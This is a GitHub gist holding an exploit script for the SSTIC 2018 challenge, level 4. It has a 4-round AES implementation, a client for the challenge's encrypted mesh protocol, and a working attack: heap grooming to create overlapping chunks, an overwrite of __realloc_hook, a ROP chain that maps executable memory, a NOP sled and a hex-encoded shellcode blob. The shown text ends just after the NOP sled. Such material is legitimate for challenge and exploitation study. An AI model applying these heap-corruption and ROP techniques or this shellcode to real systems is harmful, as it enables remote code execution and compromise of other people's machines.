Skip to content

Instantly share code, notes, and snippets.

@lucasg
Last active June 17, 2018 09:33
Show Gist options
  • Save lucasg/ee9a7b9494543429a1389f7900c7e3ef to your computer and use it in GitHub Desktop.
Save lucasg/ee9a7b9494543429a1389f7900c7e3ef to your computer and use it in GitHub Desktop.
SSTIC 2018 Level 4 exploit script
sbox = (0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc,
0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a,
0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b,
0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85,
0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17,
0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88,
0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9,
0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6,
0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94,
0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68,
0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)
invsbox = []
for i in range(256):
invsbox.append(sbox.index(i))
def SubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = sbox[state[i][j]]
return state
def InvSubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = invsbox[state[i][j]]
return state
def rowsToCols(state):
cols = []
#convert from row representation to column representation
cols.append([state[0][0], state[1][0], state[2][0], state[3][0]])
cols.append([state[0][1], state[1][1], state[2][1], state[3][1]])
cols.append([state[0][2], state[1][2], state[2][2], state[3][2]])
cols.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return cols
def colsToRows(state):
rows = []
#convert from column representation to row representation
rows.append([state[0][0], state[1][0], state[2][0], state[3][0]])
rows.append([state[0][1], state[1][1], state[2][1], state[3][1]])
rows.append([state[0][2], state[1][2], state[2][2], state[3][2]])
rows.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return rows
###########
# Key schedule functions
###########
# key schedule helper function
def RotWord(word):
r = []
r.append(word[1])
r.append(word[2])
r.append(word[3])
r.append(word[0])
return r
# key schedule helper function
def SubWord(word):
r = []
r.append(sbox[word[0]])
r.append(sbox[word[1]])
r.append(sbox[word[2]])
r.append(sbox[word[3]])
return r
# key schedule helper function
def XorWords(word1, word2):
r = []
for i in range(len(word1)):
r.append(word1[i] ^ word2[i])
return r
def printWord(word):
str = ""
for i in range(len(word)):
str += "{0:02x}".format(word[i])
print(str)
Rcon = [[0x01,0x00,0x00,0x00], [0x02,0x00,0x00,0x00], [0x04,0x00,0x00,0x00],
[0x08,0x00,0x00,0x00], [0x10,0x00,0x00,0x00], [0x20,0x00,0x00,0x00],
[0x40,0x00,0x00,0x00], [0x80,0x00,0x00,0x00],[0x1B,0x00,0x00,0x00],
[0x36,0x00,0x00,0x00]]
# key is a 4*Nk list of bytes, w is a Nb*(Nr+1) list of words
# since we're doing 4 rounds of AES-128, this means that
# key is 16 bytes and w is 4*(4+1) words
def KeyExpansion(key):
Nk = 4
Nb = 4
Nr = 4
temp = [0,0,0,0]
w=[]
for i in range(Nb*(Nr+1)):
w.append([0,0,0,0])
i = 0
#the first word is the master key
while i<Nk:
w[i] = [key[4*i],key[4*i+1], key[4*i+2], key[4*i+3]]
#printWord(w[i])
i = i+1
i=Nk
while i < (Nb*(Nr+1)):
#print "Round ", i
temp = w[i-1]
#printWord(temp)
if (i % Nk) == 0:
#print "Rcon: ", printWord(Rcon[i/Nk-1])
#printWord(RotWord(temp))
#printWord(SubWord(RotWord(temp)))
temp = XorWords(SubWord(RotWord(temp)), Rcon[int(i/Nk-1)])
#print "After XOR with Rcon:"
#printWord(temp)
#printWord(temp)
#printWord(w[i-Nk])
w[i] = XorWords(w[i-Nk], temp)
i = i+ 1
return w
def Shiftrows(state):
state = colsToRows(state)
#move 1
state[1].append(state[1].pop(0))
#move 2
state[2].append(state[2].pop(0))
state[2].append(state[2].pop(0))
#move 3
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
return rowsToCols(state)
def InvShiftrows(state):
state = colsToRows(state)
#move 1
state[1].insert(0,state[1].pop())
#move 2
state[2].insert(0,state[2].pop())
state[2].insert(0,state[2].pop())
#move 3
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
return rowsToCols(state)
#converts integer x into a list of bits
#least significant bit is in index 0
def byteToBits(x):
r = []
while x>0:
if (x%2):
r.append(1)
else:
r.append(0)
x = x>>1
#the result should have 8 bits, so pad if necessary
while len(r) < 8:
r.append(0)
return r
#inverse of byteToBits
def bitsToByte(x):
r = 0
for i in range(8):
if x[i] == 1:
r += 2**i
return r
# Galois Multiplication
def galoisMult(a, b):
p = 0
hiBitSet = 0
for i in range(8):
if b & 1 == 1:
p ^= a
hiBitSet = a & 0x80
a <<= 1
if hiBitSet == 0x80:
a ^= 0x1b
b >>= 1
return p % 256
#single column multiplication
def mixColumn(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],2) ^ galoisMult(temp[3],1) ^ \
galoisMult(temp[2],1) ^ galoisMult(temp[1],3)
column[1] = galoisMult(temp[1],2) ^ galoisMult(temp[0],1) ^ \
galoisMult(temp[3],1) ^ galoisMult(temp[2],3)
column[2] = galoisMult(temp[2],2) ^ galoisMult(temp[1],1) ^ \
galoisMult(temp[0],1) ^ galoisMult(temp[3],3)
column[3] = galoisMult(temp[3],2) ^ galoisMult(temp[2],1) ^ \
galoisMult(temp[1],1) ^ galoisMult(temp[0],3)
return column
def MixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumn(cols[i])
return r
def mixColumnInv(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],0xE) ^ galoisMult(temp[3],0x9) ^ galoisMult(temp[2],0xD) ^ galoisMult(temp[1],0xB)
column[1] = galoisMult(temp[1],0xE) ^ galoisMult(temp[0],0x9) ^ galoisMult(temp[3],0xD) ^ galoisMult(temp[2],0xB)
column[2] = galoisMult(temp[2],0xE) ^ galoisMult(temp[1],0x9) ^ galoisMult(temp[0],0xD) ^ galoisMult(temp[3],0xB)
column[3] = galoisMult(temp[3],0xE) ^ galoisMult(temp[2],0x9) ^ galoisMult(temp[1],0xD) ^ galoisMult(temp[0],0xB)
return column
def InvMixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumnInv(cols[i])
return r
#state s, key schedule ks, round r
def AddRoundKey(s,ks,r):
for i in range(len(s)):
for j in range(len(s[i])):
s[i][j] = s[i][j] ^ ks[r*4+i][j]
return s
########
# Encrypt functions
#########
# for rounds 1-3
def oneRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = MixColumns(s)
s = AddRoundKey(s,ks,r)
return s
def oneRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvMixColumns(s)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# round 4 (no MixColumn operation)
def finalRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = AddRoundKey(s,ks,r)
return s
def finalRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# Put it all together
def encrypt4rounds(message, key):
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#printState(s)
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
s = AddRoundKey(s,ks,0)
#printState(s)
c = oneRound(s, ks, 1)
c = oneRound(c, ks, 2)
c = oneRound(c, ks, 3)
#printState(c)
c = finalRound(c, ks, 4)
#printState(c)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
def swapRows(rows):
result = []
for i in range(4):
for j in range(4):
result.append(rows[j*4+i])
return result
def decrypt4rounds(message, key):
#message = swapRows(message)
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#printState(s)
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
#printState(s)
s = finalRoundDecrypt(s, ks, 4)
c = oneRoundDecrypt(s, ks, 3)
c = oneRoundDecrypt(c, ks, 2)
c = oneRoundDecrypt(c, ks, 1)
c = AddRoundKey(c,ks,0)
#printState(c)
#printState(c)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
import struct
import argparse
import os
import sys
import socket
import binascii
import time
import logging
from enum import Enum
import rsa
from fancy_aes import decrypt4rounds, encrypt4rounds
#############################################################################
#### CRYPTO UTILS
#############################################################################
BLOCK_LEN = 16
IV_LEN = 16
# pack a 2048-bit rsa key
def pack_rsa_key(key):
return struct.pack(">QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ",
(key >> 64*31) & 0xffffffffffffffff,
(key >> 64*30) & 0xffffffffffffffff,
(key >> 64*29) & 0xffffffffffffffff,
(key >> 64*28) & 0xffffffffffffffff,
(key >> 64*27) & 0xffffffffffffffff,
(key >> 64*26) & 0xffffffffffffffff,
(key >> 64*25) & 0xffffffffffffffff,
(key >> 64*24) & 0xffffffffffffffff,
(key >> 64*23) & 0xffffffffffffffff,
(key >> 64*22) & 0xffffffffffffffff,
(key >> 64*21) & 0xffffffffffffffff,
(key >> 64*20) & 0xffffffffffffffff,
(key >> 64*19) & 0xffffffffffffffff,
(key >> 64*18) & 0xffffffffffffffff,
(key >> 64*17) & 0xffffffffffffffff,
(key >> 64*16) & 0xffffffffffffffff,
(key >> 64*15) & 0xffffffffffffffff,
(key >> 64*14) & 0xffffffffffffffff,
(key >> 64*13) & 0xffffffffffffffff,
(key >> 64*12) & 0xffffffffffffffff,
(key >> 64*11) & 0xffffffffffffffff,
(key >> 64*10) & 0xffffffffffffffff,
(key >> 64*9) & 0xffffffffffffffff,
(key >> 64*8) & 0xffffffffffffffff,
(key >> 64*7) & 0xffffffffffffffff,
(key >> 64*6) & 0xffffffffffffffff,
(key >> 64*5) & 0xffffffffffffffff,
(key >> 64*4) & 0xffffffffffffffff,
(key >> 64*3) & 0xffffffffffffffff,
(key >> 64*2) & 0xffffffffffffffff,
(key >> 64*1) & 0xffffffffffffffff,
(key >> 64*0) & 0xffffffffffffffff,
)
# unpack a 2048-bit rsa key buffer
def unpack_rsa_key(key_bytes):
key = 0
for i in range(32):
k = struct.unpack(">Q", key_bytes[i*8:(i+1)*8])[0]
key = (key<<64) + k
return key
#############################################################################
#### Message forging
#############################################################################
class JobEnum(Enum):
READ = 4
WRITE = 2
EXEC = 1
class FcPacket(object):
HEADER_FORMAT = "QQQQII"
HEADER_SIZE = struct.calcsize(HEADER_FORMAT)
def __init__ (self):
self.marker = 0xd1d3c0de41414141
self.babar = 0x3730307261626162
self.src_node = 0xdeadbeef
self.dst_node = 0
self.command = 0
self.sz = 0
self.payload = None
@classmethod
def from_buffer(cls, buffer):
o = cls()
header_size = FcPacket.HEADER_SIZE
o.marker,o.babar,o.src_node,o.dst_node,o.command,o.sz = struct.unpack(FcPacket.HEADER_FORMAT, buffer[0:header_size])
if (len(buffer) > header_size) : # and (self.sz == len(buffer) - header_size):
o.payload = buffer[header_size:]
return o
def pack(self):
header = struct.pack(FcPacket.HEADER_FORMAT,
self.marker,
self.babar,
self.src_node,
self.dst_node,
self.command,
self.sz
)
buffer = header
if self.payload:
buffer = header + self.payload
return buffer
def __str__(self):
return "\n".join([
"Packet:",
" -marker : %s" % binascii.unhexlify("%x" % self.marker),
" -babar : %s" % binascii.unhexlify("%x" % self.babar)[::-1],
" -src_node : 0x%x" % self.src_node,
" -dst_node : 0x%x" % self.dst_node,
" -cmd : 0x%x" % self.command,
" -sz : 0x%x" % self.sz,
" -payload : 0x%s" % self.payload,
])
class FancyNounours(object):
def __init__(self, address, port, _id, key = None):
self._address = address
self._port = port
self._socket = None
# 256 bits buffers
self._enc_key = None
self._dec_key = key
if not self._dec_key:
self._dec_key = struct.pack("B", _id)*16
self._iv = 0
self.src_node = _id * 0x100000
def connect(self):
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._socket.connect((self._address, self._port))
def close(self):
self._socket.close()
def do_rsa_key_exchange(self):
(client_pub, client_priv) = rsa.newkeys(2048)
# send our public key
packet_client_pub = pack_rsa_key(client_pub.n)
self._socket.send(packet_client_pub)
# receive server public key
packed_server_pub = self._socket.recv(2048)
print(packed_server_pub)
server_pub = rsa.PublicKey(unpack_rsa_key(packed_server_pub), 0x10001)
# send our decoding key to the server
dec_key = rsa.encrypt(self._dec_key, server_pub)
self._socket.send(dec_key)
# receive server encoding key
enc_key = self._socket.recv(2048)
self._enc_key = rsa.decrypt(enc_key, client_priv)
def mesh_agent_peering(self, wait_for_response = True, src_node = None):
packet = FcPacket()
packet.command = 0x10000
packet.sz = FcPacket.HEADER_SIZE
packet.payload = None
packet.src_node = src_node
if not src_node :
packet.src_node = self.src_node
self.src_node = self.src_node + 0x10
logging.debug("sending peering packet with id : %x" % packet.src_node)
self._scomm_send(packet.pack())
if wait_for_response:
iv, peering_response_buffer = self._scomm_recv()
return peering_response_buffer, FcPacket.from_buffer(peering_response_buffer)
return None, None
def mesh_trig_payload(self, payload, gadget):
packet = FcPacket()
packet.command = 0x10000
packet.sz = FcPacket.HEADER_SIZE + len(payload)
packet.payload = payload
packet.src_node = gadget # add rsp, 0x18, ret;
self._scomm_send(packet.pack())
def mesh_agent_dupl_addr(self):
packet = FcPacket()
packet.command = 0x20000
packet.sz = FcPacket.HEADER_SIZE
packet.payload = None
self._scomm_send(packet.pack())
iv, peering_response_buffer = self._scomm_recv()
return peering_response_buffer, FcPacket.from_buffer(peering_response_buffer)
def mesh_send_ping(self, message):
packet = FcPacket()
packet.command = 0x100 | 0x1000000
packet.sz = len(message)
packet.payload = message
packet.src_node = 0x4100000041000000
packet.dst_node = 0
packet.babar = struct.unpack("Q", b"CCCCDDD\x00")[0]
packet.iv = 0x4444444444444444
self._scomm_send(packet.pack())
iv, ping_response_buffer = self._scomm_recv()
packet = None
if len(ping_response_buffer) > FcPacket.HEADER_SIZE:
packet = FcPacket.from_buffer(ping_response_buffer)
return ping_response_buffer, packet
def mesh_send_job(self, job, job_enum ):
packet = FcPacket()
packet.command = 0x200 | 0x1000000 | 1
packet.sz = FcPacket.HEADER_SIZE + len(job.encode('ascii'))
packet.payload = job.encode('ascii')
self._scomm_send(packet.pack())
def _scomm_send(self, message):
ciphertext = self._encrypt_message(message)
self._socket.send(struct.pack("I", len(ciphertext)))
self._socket.send(ciphertext)
def _scomm_recv(self):
raw_len = self._socket.recv(4)
buffer_len = struct.unpack("I", raw_len)[0]
logging.debug("[_scomm_recv] length received : %d" % buffer_len)
ciphertext = b""
while len(ciphertext) < buffer_len:
cipher_chunk = self._socket.recv(buffer_len - len(ciphertext))
ciphertext += cipher_chunk
return self._decrypt_message(ciphertext)
def _encrypt_message(self, message):
current_iv = struct.pack(">QQ", (self._iv >> 64), self._iv)
self._iv += 1
payload = b""
prev_block = current_iv
# convert bytes buffer into array
encoding_key = [x for x in self._enc_key]
# pad to a multiple of block len
message_len = len(message)
message_pad = message_len % BLOCK_LEN
message += b"\x00" * message_pad
message_len += message_pad
for block_counter in range(int(message_len//BLOCK_LEN)):
block = message[block_counter*BLOCK_LEN : (block_counter+1)*BLOCK_LEN]
xor_pt = [block[i] ^ prev_block[i] for i in range(len(block))]
ct = encrypt4rounds(xor_pt, encoding_key)
prev_block = ct
payload += bytes(ct)
return current_iv + payload
def _decrypt_message(self, message):
if len(message) < IV_LEN:
raise ValueError("encrypted message not long enough : %x < 16" % len(message))
iv = message[0:IV_LEN]
payload = message[IV_LEN:]
plaintext = b""
# convert bytes buffer into array
decoding_key = [x for x in self._dec_key]
prev_block = iv
for block_counter in range(int((len(message) - IV_LEN) // BLOCK_LEN)):
block = [x for x in payload[block_counter*BLOCK_LEN : (block_counter+1)*BLOCK_LEN]]
pt = decrypt4rounds(block, decoding_key)
xor_pt = [pt[i] ^ prev_block[i] for i in range(len(pt))]
prev_block = block
plaintext += bytes(xor_pt)
return iv, plaintext
#############################################################################
#### Attack script
#############################################################################
def create_0xb1_chunk(fc, top = 0x2000):
# 0x41 -> 0x61
current_top = top
for i in range(11):
buf, answer = fc.mesh_agent_peering(wait_for_response=False)
buf, answer = fc.mesh_agent_peering(wait_for_response=False, src_node= current_top | 0x01)
# 0x91 -> 0xb1
current_top = current_top - 0x60
for i in range(5):
buf, answer = fc.mesh_agent_peering(wait_for_response=False)
current_top = current_top - 0x60
for i in range(3):
buf, answer = fc.mesh_agent_peering(wait_for_response=False)
def create_0x61_chunk(fc, top = None):
# 0x41 -> 0x61
for i in range(11):
buf, answer = fc.mesh_agent_peering(wait_for_response=False)
# This is not the __realloc_hook address, this is
# the allocation address needed to overwrite __realloc_hook address
# with controlled content (and not break anything)
REALLOC_HOOK_OVERWRITE_ALLOC_ADDRESS = 0x6d76b8
# Function address
DL_MAKE_STACK_EXECUTABLE_ADDRESS = 0x489b20
LIBC_STACK_END_ADDRESS = 0x6d6c90
__STACK_PROT_ADDRESS = 0x6d6f50
MEMCPY_ADDRESS = 0x4004a0
MMAP_ADDRESS = 0x455ce9 # we don't use the start of the function at 0x0455ce0 since we want to skip a check on r9
# the following address is used to store temporary values
DATA_CAVE_ADDRESS = 0x6D8350
# Gadgets
RET_GADGET = 0x423f8c # NOP
INT3_GADGET = 0x04a61b8 # debugbreak
# these two gadgets allow us to jump back on our packet payload
ADD_RSP_0x68_GADGET = 0x0454d7b
ADD_RSP_0x18_GADGET = 0x0411bf1
# Gadgets
POP_RDI_RET = 0x0400766
POP_RSI_RET = 0x04017dc
MOV_POI_RDI_RSI = 0x4954ba
MOV_RDX_POI_RSI_MOV_POI_RDI_RDX = 0x44D880
LEA_RCX_RDX_MINUS_8 = 0x429ae5
SHR_R9_CL = 0x494340
JMP_RAX = 0x428c90
# Useful constants
MAP_ANONYMOUS = 0x20
MAP_SHARED = 0x01
PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
def prepare_shellcode():
shellcode_hexdump = "".join([
"55 48 89 E5 48 81 EC B0 10 00 00 B8 00 B0 42 00",
"89 C1 B8 20 FE 47 00 89 C2 B8 D0 4E 45 00 89 C6",
"B8 10 4D 45 00 89 C7 B8 B0 71 45 00 41 89 C0 B8",
"F0 70 45 00 41 89 C1 4C 89 4D F8 4C 89 45 F0 48",
"89 7D E8 48 89 75 E0 48 89 55 D8 48 89 4D D0 4C",
"89 A5 B8 EF FF FF 48 81 85 B8 EF FF FF 28 02 00",
"00 B8 00 03 00 00 89 C2 31 C9 48 8D B5 C0 EF FF",
"FF 48 8B BD B8 EF FF FF 8B 07 89 45 CC 48 8B 7D",
"F0 8B 45 CC 48 89 BD 90 EF FF FF 89 C7 4C 8B 85",
"90 EF FF FF 41 FF D0 48 89 85 88 EF FF FF C7 85",
"B4 EF FF FF 00 00 00 00 81 BD B4 EF FF FF 00 03",
"00 00 0F 8D 23 00 00 00 48 63 85 B4 EF FF FF C6",
"84 05 C0 EF FF FF 00 8B 85 B4 EF FF FF 83 C0 01",
"89 85 B4 EF FF FF E9 CD FF FF FF B8 00 03 00 00",
"89 C2 31 C9 48 8D B5 C0 EF FF FF 48 8B 7D F8 8B",
"45 CC 48 89 BD 80 EF FF FF 89 C7 4C 8B 85 80 EF",
"FF FF 41 FF D0 89 C1 89 8D B0 EF FF FF 83 BD B0",
"EF FF FF 00 0F 8D 05 00 00 00 E9 38 01 00 00 83",
"BD B0 EF FF FF 00 0F 8E 26 01 00 00 0F BE 85 C0",
"EF FF FF 83 F8 00 0F 85 55 00 00 00 31 F6 48 8D",
"85 C0 EF FF FF 48 8B 4D E8 48 83 C0 01 48 89 C7",
"FF D1 BE 00 10 00 00 89 F2 48 8D 8D C0 EF FF FF",
"89 85 AC EF FF FF 48 8B 7D E0 8B 85 AC EF FF FF",
"48 89 BD 78 EF FF FF 89 C7 48 89 CE 48 8B 8D 78",
"EF FF FF FF D1 48 89 85 70 EF FF FF E9 83 00 00",
"00 0F BE 85 C0 EF FF FF 83 F8 01 0F 85 55 00 00",
"00 BE 00 00 01 00 48 8D 85 C0 EF FF FF 48 8B 4D",
"E8 48 83 C0 01 48 89 C7 FF D1 BA 00 03 00 00 48",
"8D 8D C0 EF FF FF 89 85 A8 EF FF FF 48 8B 7D D8",
"8B 85 A8 EF FF FF 48 89 BD 68 EF FF FF 89 C7 48",
"89 CE 48 8B 8D 68 EF FF FF FF D1 89 85 A4 EF FF",
"FF E9 19 00 00 00 48 C7 85 98 EF FF FF 00 00 00",
"00 B0 00 FF 95 98 EF FF FF 89 85 64 EF FF FF E9",
"00 00 00 00 B8 00 03 00 00 89 C2 31 C9 48 8D B5",
"C0 EF FF FF 48 8B 7D F0 8B 45 CC 48 89 BD 58 EF",
"FF FF 89 C7 4C 8B 85 58 EF FF FF 41 FF D0 48 83",
"F8 00 0F 8D 05 00 00 00 E9 0A 00 00 00 E9 00 00",
"00 00 E9 47 FE FF FF 31 C0 48 81 C4 B0 10 00 00",
"5D C3 66 66 66 66 66 2E 0F 1F 84 00 00 00 00 00",
])
# remove space
shellcode_hexdump = shellcode_hexdump.replace(" ", "")
# convert to byte array
shellcode = binascii.unhexlify(shellcode_hexdump)
return shellcode
def do_pown(ip, port):
shellcode = prepare_shellcode()
# prepare clients
fc1 = FancyNounours(ip, port, 1)
fc1.connect()
fc1.do_rsa_key_exchange()
time.sleep(1)
fc2 = FancyNounours(ip, port, 2)
fc2.connect()
fc2.do_rsa_key_exchange()
time.sleep(1)
fc3 = FancyNounours(ip, port, 3)
fc3.connect()
fc3.do_rsa_key_exchange()
time.sleep(1)
# attack chunk
buf, answer = fc1.mesh_agent_peering()
create_0x61_chunk(fc1)
time.sleep(2)
# target chunk
buf, answer = fc2.mesh_agent_peering()
create_0x61_chunk(fc2)
time.sleep(2)
# gap chunk
buf, answer = fc3.mesh_agent_peering()
create_0xb1_chunk(fc3, top = 0x20000)
time.sleep(2)
# client chunk
fc4 = FancyNounours(ip, port, 4)
fc4.connect()
fc4.do_rsa_key_exchange()
# guard chunk
buf, answer = fc4.mesh_agent_peering()
create_0x61_chunk(fc4)
print("initial alignement")
input()
print("free client chunk")
fc4.close()
input()
print("overflow chunk size")
fc1.mesh_agent_peering(wait_for_response=False, src_node=0x241)
input()
print("free target chunk")
fc2.close()
input()
print("allocate 0x241")
fc6 = FancyNounours(ip, port, 6)
fc6.connect()
fc6.do_rsa_key_exchange()
fc6.mesh_agent_peering()
print("allocate fc6 done ")
input()
print("allocate overlapping 0x241 inplace of target chunk")
# overlapping and overwriting next free chunk address
fc7_key = struct.pack(">QQ", 0x241, REALLOC_HOOK_OVERWRITE_ALLOC_ADDRESS << 32)
fc7 = FancyNounours(ip, port, 7, key = fc7_key)
fc7.connect()
fc7.do_rsa_key_exchange()
fc7.mesh_agent_peering()
print("allocate fc7 done ")
input()
print("allocate fc8 ")
zero_expanded_key = b"\x62\x63\x63\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
fc8 = FancyNounours(ip, port, 8, key = zero_expanded_key)
fc8.connect()
fc8.do_rsa_key_exchange()
buf, answer = fc8.mesh_agent_peering()
print("allocate fc8 done ")
input()
print("allocate fc9 ")
stack_fixer_gadget = ADD_RSP_0x68_GADGET # add rsp, 0x68; ret
fc9 = FancyNounours(ip, port, 9, key = struct.pack("B", 0)*8 + struct.pack("Q", stack_fixer_gadget))
fc9.connect()
fc9.do_rsa_key_exchange()
print("allocate fc9 done ")
buf, answer = fc9.mesh_agent_peering()
for i in range(7):
buf, answer = fc9.mesh_agent_peering(wait_for_response=False)
# trig realloc -> jmp 0x414141414141
payload = b"".join([
struct.pack("Q", 0x00000), # unused
# struct.pack("Q", INT3_GADGET), # int3
struct.pack("Q", RET_GADGET), # NOP
# rcx = MAP_ANONYMOUS | MAP_SHARED
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", DATA_CAVE_ADDRESS),
struct.pack("Q", POP_RSI_RET),
struct.pack("Q", MAP_ANONYMOUS | MAP_SHARED + 0x8),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RSI_RET),
struct.pack("Q", DATA_CAVE_ADDRESS),
struct.pack("Q", MOV_RDX_POI_RSI_MOV_POI_RDI_RDX),
struct.pack("Q", LEA_RCX_RDX_MINUS_8),
# rdx = 0x00
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", DATA_CAVE_ADDRESS),
struct.pack("Q", POP_RSI_RET),
struct.pack("Q", PROT_EXEC | PROT_READ | PROT_WRITE ),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RSI_RET),
struct.pack("Q", DATA_CAVE_ADDRESS),
struct.pack("Q", MOV_RDX_POI_RSI_MOV_POI_RDI_RDX),
# r8 = whatev
# r9 = 0
struct.pack("Q", SHR_R9_CL), # rcx is already set to 0x22
# mmap(
# rdi : 0xdeadc000,
# rsi : L,
# rdx : PROT_EXEC | PROT_READ | PROT_WRITE ,
# rcx: MAP_ANONYMOUS | MAP_SHARED,
# r8: whatev,
# r9: 0
#)
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc000),
struct.pack("Q", POP_RSI_RET),
struct.pack("Q", 0x4000),
struct.pack("Q", MMAP_ADDRESS),
# copy shellcode into mmap allocated memory
#
# 0xdeadc000: 0x4889e648bfdec0ad 0xde0000000048c7c2
# 0xdeadc010: 0x0030000048c7c0a0 0x044000ffd048bfde
# 0xdeadc020: 0xc0adde00000000ff 0xd700007375636500
# 0xdeadc030: 0x0000000000000000 0x0000000000000000
#
# Disassembly:
#
# mov rsi, rsp
# movabs rdi, 0xdeadc0de
# mov rdx, 0x3000
# mov rax, 0x4004a0 ; memcpy
# call rax
# movabs rdi, 0xdeadc0de
# call rdi
#
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0x4889e648bfdec0ad),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc008),
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0xde0000000048c7c2),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc010),
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0x0030000048c7c0a0),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc018),
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0x044000ffd048bfde),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc020),
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0xc0adde00000000ff),
struct.pack("Q", MOV_POI_RDI_RSI),
struct.pack("Q", POP_RDI_RET),
struct.pack("Q", 0xdeadc028),
struct.pack("Q", POP_RSI_RET),
struct.pack(">Q", 0xd700007375636500),
struct.pack("Q", MOV_POI_RDI_RSI),
# jump rax
struct.pack("Q", JMP_RAX),
# nop sled to prepare for shellcode payload
struct.pack(">Q", 0x9990909090909090),
struct.pack(">Q", 0x9090909090909090),
struct.pack(">Q", 0x9090909090909090),
struct.pack(">Q", 0x9090909090909090),
# struct.pack(">Q", 0x90909090909090cc),
])
# shellcode payload to be finally executed
